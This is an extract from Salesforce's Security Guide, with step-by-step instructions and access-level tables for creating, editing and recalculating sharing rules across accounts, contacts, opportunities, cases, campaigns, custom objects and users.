5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to
1000 characters.
6. Select a rule type.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To create sharing rules:
• Manage Sharing

7. Depending on the rule type you selected, do the following:
• Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization
has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing
rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic...
to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger
to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who get access to the data: select a category from the first drop-down list and a set of
users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

10. Click Save.

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Creating Account Sharing Rules
Account sharing rules can be based on the record owner or on other criteria, including record type
and certain field values. You can define up to 300 account sharing rules, including up to 50
criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
3. In the Account Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the
user interface. The Rule Name is a unique name used by the API and managed packages.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to
1000 characters.

USER PERMISSIONS

6. Select a rule type.

To create sharing rules:
• Manage Sharing

7. Depending on the rule type you selected, do the following:

• Based on record owner—In the owned by members of line, specify the
users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down
list (or lookup field, if your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing
rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic...
to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger
to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who get access to the data: select a category from the first drop-down list and a set of
users from the second drop-down list or lookup field.
9. Select a setting for Default Account, Contract and Asset Access.
10. In the remaining fields, select the access settings for the records associated with the shared accounts.
Access Setting

Description

Private

Users can’t view or update records, unless access is granted
(available for associated contacts, opportunities, and cases only) outside of this sharing rule.
Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.
11. Click Save.

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Create Account Territory Sharing Rules
Account territory sharing rules are based on territory assignment. You can define up to 300 account
territory sharing rules.
Note: The original territory management feature is scheduled for retirement for all customers
as of Summer ’20. After the feature is retired, users can’t access the original territory
management feature and its underlying data. We encourage you to migrate to Enterprise
Territory Management. For more information, see The Original Territory Management Module
Will Be Retired in the Summer ’20 Release. The information in this topic applies to the original
Territory Management feature only, and not to Enterprise Territory Management.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
3. In the Account Territory Sharing Rules related list, click New.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To create sharing rules:
• Manage Sharing

4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the
user interface. The Rule Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. In the Accounts in Territory line, select Territories or Territories and Subordinates from the first dropdown list and a territory from
the second dropdown list.
7. In the Share with line, specify the users who get access to the data: select a category from the first drop-down list and a set of
users from the second drop-down list or lookup field.
8. Select a setting for Default Account, Contract and Asset Access.
9. In the remaining fields, select the access setting for the records associated with the shared account territories.
Access Setting

Description

Private

Users can’t view or update records, unless access is granted
(available for associated contacts, opportunities, and cases only) outside of this sharing rule.
Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.
10. Click Save.

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Create Contact Sharing Rules
Make automatic exceptions to your contact organization-wide sharing settings for defined sets of
users.

EDITIONS

Contact sharing rules can be based on the record owner or on other criteria, including record type
and certain field values. You can define up to 300 contact sharing rules, including up to 50
criteria-based sharing rules.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

3. In the Contact Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the
user interface. The Rule Name is a unique name used by the API and managed packages.

USER PERMISSIONS

5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to
1000 characters.

To create sharing rules:
• Manage Sharing

6. Select a rule type.
7. Depending on the rule type you selected, do the following:
• Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization
has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing
rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic...
to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger
to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who get access to the data: select a category from the first drop-down list and a set of
users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

10. Click Save.

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Creating Opportunity Sharing Rules
Opportunity sharing rules can be based on the record owner or on other criteria, including record
type and certain field values. You can define up to 300 opportunity sharing rules, including up to
50 criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
3. In the Opportunity Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the
user interface. The Rule Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to
1000 characters.
6. Select a rule type.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To create sharing rules:
• Manage Sharing

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

10. Click Save.

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Creating Case Sharing Rules
Case sharing rules can be based on the record owner or on other criteria, including record type and
certain field values. You can define up to 300 case sharing rules, including up to 50 criteria-based
sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
3. In the Case Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the
user interface. The Rule Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to
1000 characters.
6. Select a rule type.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To create sharing rules:
• Manage Sharing

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

10. Click Save.

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Creating Campaign Sharing Rules
Campaign sharing rules can be based on the record owner or on other criteria, including record
type and certain field values. You can define up to 300 campaign sharing rules, including up to 50
criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
3. In the Campaign Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the
user interface. The Rule Name is a unique name used by the API and managed packages.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs)
Available in: Professional
Edition for an additional cost,
and Enterprise,
Performance, Unlimited,
and Developer Editions

5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to
1000 characters.

USER PERMISSIONS

6. Select a rule type.

To create sharing rules:
• Manage Sharing

7. Depending on the rule type you selected, do the following:

• Based on record owner—In the owned by members of line, specify the
users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down
list (or lookup field, if your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing
rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic...
to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger
to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who get access to the data: select a category from the first drop-down list and a set of
users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Full Access

Any user in the selected group, role, or territory can view, edit, transfer, delete, and
share the record, just like the record’s owner.
With a Full Access sharing rule, users can also view, edit, delete, and close activities
associated with the record if the organization-wide sharing setting for activities is
Controlled by Parent.

10. Click Save.

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Creating Custom Object Sharing Rules
Custom object sharing rules can be based on the record owner or on other criteria, including record
type and certain field values. You can define up to 300 custom object sharing rules, including up
to 50 criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
3. In the Sharing Rules related list for the custom object, click New.
4. Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user
interface. The Rule Name is a unique name used by the API and managed packages.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to
1000 characters.

USER PERMISSIONS

6. Select a rule type.

To create sharing rules:
• Manage Sharing

7. Depending on the rule type you selected, do the following:

• Based on record owner—In the owned by members of line, specify the
users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down
list (or lookup field, if your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing
rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic...
to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger
to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who get access to the data: select a category from the first drop-down list and a set of
users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

10. Click Save.

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Creating User Sharing Rules
Share members of a group to members of another group, or share users based on criteria.
User sharing rules can be based on membership to public groups, roles, or territories, or on other
criteria such as Department and Title. By default, you can define up to 300 user sharing rules,
including up to 50 criteria-based sharing rules. Contact Salesforce for information about increasing
these limits.
User sharing rules based on membership enable user records belonging to members of one group
to be shared with members of another group. Before you can create a membership-based user
sharing rule, confirm that the appropriate groups have been created.
Users inherit the same access as users below them in the role hierarchy.
1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
2. In the User Sharing Rules related list, click New.
3. Enter the Label Name and click the Rule Name field to auto-populate it.
4. Enter the Description. This field describes the sharing rule. It is optional and can contain up to
1000 characters.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To create sharing rules:
• Manage Sharing

5. Select a rule type.
6. Depending on the rule type you selected, do the following:
a. Based on group membership—Users who are members of a group can be shared with members of another group.
In the Users who are members of line, select a category from the first drop-down list and a set of users from the
second drop-down list (or lookup field, if your organization has over 200 groups, roles, or territories).
b. Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing
rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic...
to change the default AND relationship between each filter.
7. In the Share with line, specify the group that should have access to the user records. Select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records. They can see target
users in list views, lookups, search, and interact with them on
Chatter.

Read/Write

Users can view and update records.

9. Click Save.

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Sharing Rule Categories
When you define a sharing rule, you can choose from the following categories in the owned by
members of and Share with drop-down lists. Depending on the type of sharing rule and
the features enabled for your organization, some categories may not appear.
Note: You can’t include high-volume portal users in sharing rules because they don’t have
roles and can’t be in public groups.
Category

Description

Managers Groups

All direct and indirect managers of a user.

Manager Subordinates
Groups

A manager and all direct and indirect reports who he or she manages.

Queues

All records owned by the queue, excluding records owned by
individual members of the queue. Available only in the owned by
members of list.

Public Groups

All public groups defined by your administrator.
If a partner portal or Customer Portal is enabled for your organization,
the All Partner Users or All Customer Portal Users group displays.
These groups includes all users allowed to access your partner portal
or Customer Portal, except for high-volume portal users.

Roles

All roles defined for your organization. This includes all of the users
in the specified role.

Portal Roles

All roles defined for your organization’s partner portal or Customer
Portal. This includes all users in the specified portal role, except
high-volume portal users.
A portal role name includes the name of the account that it’s
associated with, except for person accounts, which include the user
Alias.

Roles and Subordinates

All roles defined for your organization. This includes all of the users
in the specified role plus all of the users in roles below that role,
including partner portal and Customer Portal roles that contain users
with a portal license type.
Portal roles are only included in this category if a partner portal or
Customer Portal is enabled for your organization.
The Roles, Internal and Portal Subordinates data set category is only
available in your organization after you create at least one role in the
role hierarchy.

Portal Roles and
Subordinates

All roles defined for your organization’s partner portal or Customer
Portal. This includes all of the users in the specified portal role plus
all of the users below that role in the portal role hierarchy, except for
high-volume portal users.

128

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Account and contact sharing
rules available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Account territory, case, lead,
and opportunity sharing
rules available in:
Enterprise, Performance,
Unlimited, and Developer
Editions
Campaign sharing rules
available in Professional
Edition for an additional cost,
and Enterprise,
Performance, Unlimited,
and Developer Editions
Custom object sharing rules
available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions.
Partner Portals and
Customer Portals available
in Salesforce Classic

Salesforce Security Guide

Category

Sharing Rules

Description
A portal role name includes the name of the account that it’s associated with, except for person
accounts, which include the user Alias.

Roles and Internal Subordinates

All roles defined for your organization. This includes all of the users in the specified role plus all
of the users in roles below that role, excluding partner portal and Customer Portal roles.
This category only displays if a partner portal or Salesforce Customer Portal is enabled for your
organization.
The Roles and Internal Subordinates data set category is only available in your organization after
you create at least one role in the role hierarchy and enable a portal.

Roles, Internal and Portal
Subordinates

All roles defined for your organization. This includes all of the users in the specified role plus all
of the users in roles below that role, including partner portal and Customer Portal roles.
This category only displays if a partner portal or Salesforce Customer Portal is enabled for your
organization.
The Roles and Internal Subordinates data set category is only available in your organization after
you create at least one role in the role hierarchy and enable a portal.

Territories

All territories defined for your organization.

Territories and Subordinates

All territories defined for your organization. This includes the specified territory plus all territories
below it.

Editing Lead Sharing Rules
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing
rules that are based on other criteria, you can edit the criteria and sharing access settings.

EDITIONS

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. In the Lead Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be
included in the sharing rule. The fields available depend on the object selected, and the value
must be a literal number or string. Click Add Filter Logic... to change the default AND
relationship between each filter.

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To edit sharing rules:
• Manage Sharing

5. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

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6. Click Save.

Editing Account Sharing Rules
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing
rules that are based on other criteria, you can edit the criteria and sharing access settings.

EDITIONS

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. In the Account Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be
included in the sharing rule. The fields available depend on the object selected, and the value
must be a literal number or string. Click Add Filter Logic... to change the default AND
relationship between each filter.
5. Select a setting for Default Account, Contract and Asset Access.
6. In the remaining fields, select the access settings for the records associated with the shared
accounts.
Access Setting

Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To edit sharing rules:
• Manage Sharing

Description

Private

Users can’t view or update records, unless access is granted
(available for associated contacts, opportunities, and cases only) outside of this sharing rule.
Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.
7. Click Save.

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Editing Account Territory Sharing Rules
For account territory sharing rules, you can edit the sharing access settings, but no other settings.
1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
2. In the Account Territory Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. Select the sharing access setting for users.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

Access Setting

Description

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

Private

Users can’t view or update records, unless
access is granted outside of this sharing rule.

USER PERMISSIONS

(available for associated contacts,
opportunities, and cases only)
Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

To edit sharing rules:
• Manage Sharing

Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.
5. Click Save.

Editing Contact Sharing Rules
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing
rules that are based on other criteria, you can edit the criteria and sharing access settings.

EDITIONS

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. In the Contact Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be
included in the sharing rule. The fields available depend on the object selected, and the value
must be a literal number or string. Click Add Filter Logic... to change the default AND
relationship between each filter.
5. Select the sharing access setting for users.

Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To edit sharing rules:
• Manage Sharing

Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

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6. Click Save.

Editing Opportunity Sharing Rules
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing
rules that are based on other criteria, you can edit the criteria and sharing access settings.

EDITIONS

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. In the Opportunity Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be
included in the sharing rule. The fields available depend on the object selected, and the value
must be a literal number or string. Click Add Filter Logic... to change the default AND
relationship between each filter.
5. Select the sharing access setting for users. For owner-based rules or criteria-based rules with
ownership as criteria, the Opportunity Access level applies to opportunities owned
by the group, role, or territory members, regardless of the associated account.

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To edit sharing rules:
• Manage Sharing

Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

6. Click Save.

Editing Case Sharing Rules
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing
rules that are based on other criteria, you can edit the criteria and sharing access settings.

EDITIONS

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. In the Case Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be
included in the sharing rule. The fields available depend on the object selected, and the value
must be a literal number or string. Click Add Filter Logic... to change the default AND
relationship between each filter.

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To edit sharing rules:
• Manage Sharing

5. Select the sharing access setting for users.

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Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

6. Click Save.

Editing Campaign Sharing Rules
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing
rules that are based on other criteria, you can edit the criteria and sharing access settings.

EDITIONS

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

Available in: Salesforce
Classic (not available in all
orgs)

2. In the Campaign Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be
included in the sharing rule. The fields available depend on the object selected, and the value
must be a literal number or string. Click Add Filter Logic... to change the default AND
relationship between each filter.
5. Select the sharing access setting for users.

Available in: Professional
Edition for an additional cost,
and Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To edit sharing rules:
• Manage Sharing

Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Full Access

Any user in the selected group, role, or territory can view, edit,
transfer, delete, and share the record, just like the record’s
owner.
With a Full Access sharing rule, users can also view, edit, delete,
and close activities associated with the record if the
organization-wide sharing setting for activities is Controlled
by Parent.

6. Click Save.

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Editing Custom Object Sharing Rules
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing
rules that are based on other criteria, you can edit the criteria and sharing access settings.

EDITIONS

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

Available in: Salesforce
Classic (not available in all
orgs)

2. In the Sharing Rules related list for the custom object, click Edit next to the rule you want to
change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be
included in the sharing rule. The fields available depend on the object selected, and the value
must be a literal number or string. Click Add Filter Logic... to change the default AND
relationship between each filter.
5. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Available in: Enterprise,,
Performance, Unlimited,
Developer, and
Database.com Editions.

USER PERMISSIONS
To edit sharing rules:
• Manage Sharing

6. Click Save.

Editing User Sharing Rules
For user sharing rules based on membership to groups, roles, or territories, you can edit only the
access settings. For user sharing rules based on other criteria, you can edit the criteria and access
settings.
1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
2. In the User Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that’s based on group membership, skip to the next step. If you selected
a rule that's based on criteria, specify the criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value must be a literal
number or string. Click Add Filter Logic... to change the default AND relationship between
each filter.
5. Select the sharing access setting for users. The User Access level applies to users who are
members of the groups being shared to.
Access Setting

Description

Read Only

Users can view, but not update, records.

134

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To edit sharing rules:
• Manage Sharing

Salesforce Security Guide

Sharing Rules

Access Setting

Description

Read/Write

Users can view and update records.

6. Click Save.

Sharing Rule Considerations
Sharing rules allow you to selectively grant data access to defined sets of users. Review the following
notes before using sharing rules:

EDITIONS

Granting Access

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• You can use sharing rules to grant wider access to data. You cannot restrict access below
your organization-wide default levels.
• If multiple sharing rules give a user different levels of access to a record, the user gets the
most permissive access level.
• Sharing rules automatically grant additional access to related records. For example,
opportunity sharing rules give role or group members access to the account associated
with the shared opportunity if they do not already have it. Likewise, contact and case sharing
rules provide the role or group members with access to the associated account as well.
• Users in the role hierarchy are automatically granted the same access that users below
them in the hierarchy have from a sharing rule, provided that the object is a standard object
or the Grant Access Using Hierarchies option is selected.
• Regardless of sharing rules, users can, at a minimum, view the accounts in their territories.
Also, users can be granted access to view and edit the contacts, opportunities, and cases
associated with their territories’ accounts.
Updating
• Creating an owner-based sharing rule with the same source and target groups as an existing
rule overwrites the existing rule.
• Once a sharing rule has been saved, you can’t change the Share with field settings
when you edit the sharing rule.
• Sharing rules apply to all new and existing records that meet the definition of the source
data set.

Account and contact sharing
rules are available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Account territory, case, lead,
opportunity, order, and
custom object sharing rules
are available in: Enterprise,
Performance, Unlimited,
and Developer Editions
Campaign sharing rules are
available in Professional
Edition for an additional cost,
and Enterprise,
Performance, Unlimited,
and Developer Editions
Only custom object sharing
rules are available in
Database.com

• Sharing rules apply to both active and inactive users.
• When you change the access levels for a sharing rule, all existing records are automatically
updated to reflect the new access levels.
• When you delete a sharing rule, the sharing access created by that rule is automatically removed.
• When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access as
necessary.
• When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the transferred
records as necessary.
• Making changes to sharing rules may require changing a large number of records at once. To process these changes efficiently,
your request may be queued and you may receive an email notification when the process has completed.
• Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact, and
opportunity records.

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Portal Users
• You can create rules to share records between most types of Customer Portal users and Salesforce users. Similarly, you can create
sharing rules between Customer Portal users from different accounts as long as they have the Customer Portal Manager user
license. However, you can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public
groups.
• You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates
instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any publicly accessible
report, dashboard, and document folders to folders that are accessible by all users except for portal users.
Managed Package Fields
If a criteria-based sharing rule references a field from a licensed managed package whose license has expired, (expired) is
appended to the label of the field. The field label is displayed in the field drop-down list on the rule’s definition page in Setup.
Criteria-based sharing rules that reference expired fields aren't recalculated, and new records aren't shared based on those rules.
However, the sharing of existing records prior to the package's expiration is preserved.

Recalculate Sharing Rules
When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or
remove access as necessary.

EDITIONS

Changes could include adding or removing individual users from a group, role, or territory, changing
which role a particular role reports to, changing which territory a particular territory is subordinate
to, or adding or removing a group from within another group.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

Note: Use the Recalculate buttons on the Sharing Rules related lists only if sharing rule
updates have failed or are not working as expected.
To manually recalculate an object’s sharing rules:
1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
2. In the Sharing Rules related list for the object you want, click Recalculate.
3. If you want to monitor the progress of a recalculation, from Setup, enter Background Jobs
in the Quick Find box, then select Background Jobs.
Note: The Recalculate button is disabled when group membership or sharing rule
calculations are deferred. Sharing rules for related objects are automatically recalculated. For
example, account sharing rules are recalculated when opportunity sharing rules are
recalculated since the opportunity records are in a master-detail relationship on account
records.
When sharing is recalculated, Salesforce also runs all Apex sharing recalculations. During sharing
rule recalculation, related object sharing rules are calculated as well. You receive an email that
notifies you when the recalculation is completed. For example, when recalculating sharing rule for
opportunities, account sharing rules are recalculated as well since opportunity is a detail of an
account object.
Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by
suspending and resuming at your discretion.

136

Account and contact sharing
rules are available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Account territory, case, lead,
opportunity, order sharing
rules, and custom object
sharing rules are available
in: Enterprise, Performance,
Unlimited, and Developer
Editions
Campaign sharing rules are
available in Professional
Edition for an additional cost,
and Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To recalculate sharing rules:
• Manage Sharing

Salesforce Security Guide

User Sharing

Asynchronous Parallel Recalculation of Sharing Rules
Speed up sharing rule recalculation by running it asynchronously and in parallel.
When you create, update, or delete sharing rules, the resulting recalculation is now processed
asynchronously and in parallel. The recalculation is run in parallel and asynchronously in the
background, which speeds up the process and provides better resilience to site operations such as
patches and server restarts. You’ll receive an email notification upon completion. Before the
recalculation is completed, you can’t run other sharing operations such as creating a sharing rule
or updating the organization-wide defaults.
If the number of impacted records from an owner-based sharing rule insert or update is less than
25,000, recalculation runs synchronously and you won’t receive an email notification when it’s
completed. Owner-based sharing rule inserts and updates impacting less than 25,000 records are
not available on the Background Jobs page.

EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

Parallel sharing rule recalculation is also run in these cases.
• Click the Recalculate button for the sharing rules on the Sharing Settings page
• Recalculate your sharing rules on the Defer sharing page
You can monitor the progress of your parallel recalculation on the Background Jobs page or view your recent sharing operations on the
View Setup Audit Trail page.
Recalculation of sharing rules maintains implicit sharing between accounts and child records. In the Background Jobs page, these
processes corresponds to these job sub types:, Account — Extra Parent Access Removal and Account — Parent Access Grant.
Additionally, deleting a sharing rule corresponds to the job sub type Object — Access Cleanup, denoting that irrelevant share rows
are removed.
Note: For an in-depth look at record access, see Designing Record Access for Enterprise Scale.

User Sharing
User Sharing enables you to show or hide an internal or external user from another user in your
organization.

EDITIONS

Watch a demo:

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

Who Sees Whom: User Sharing (English only)

For example, you might be a manufacturer who wants to include all dealers in your organization
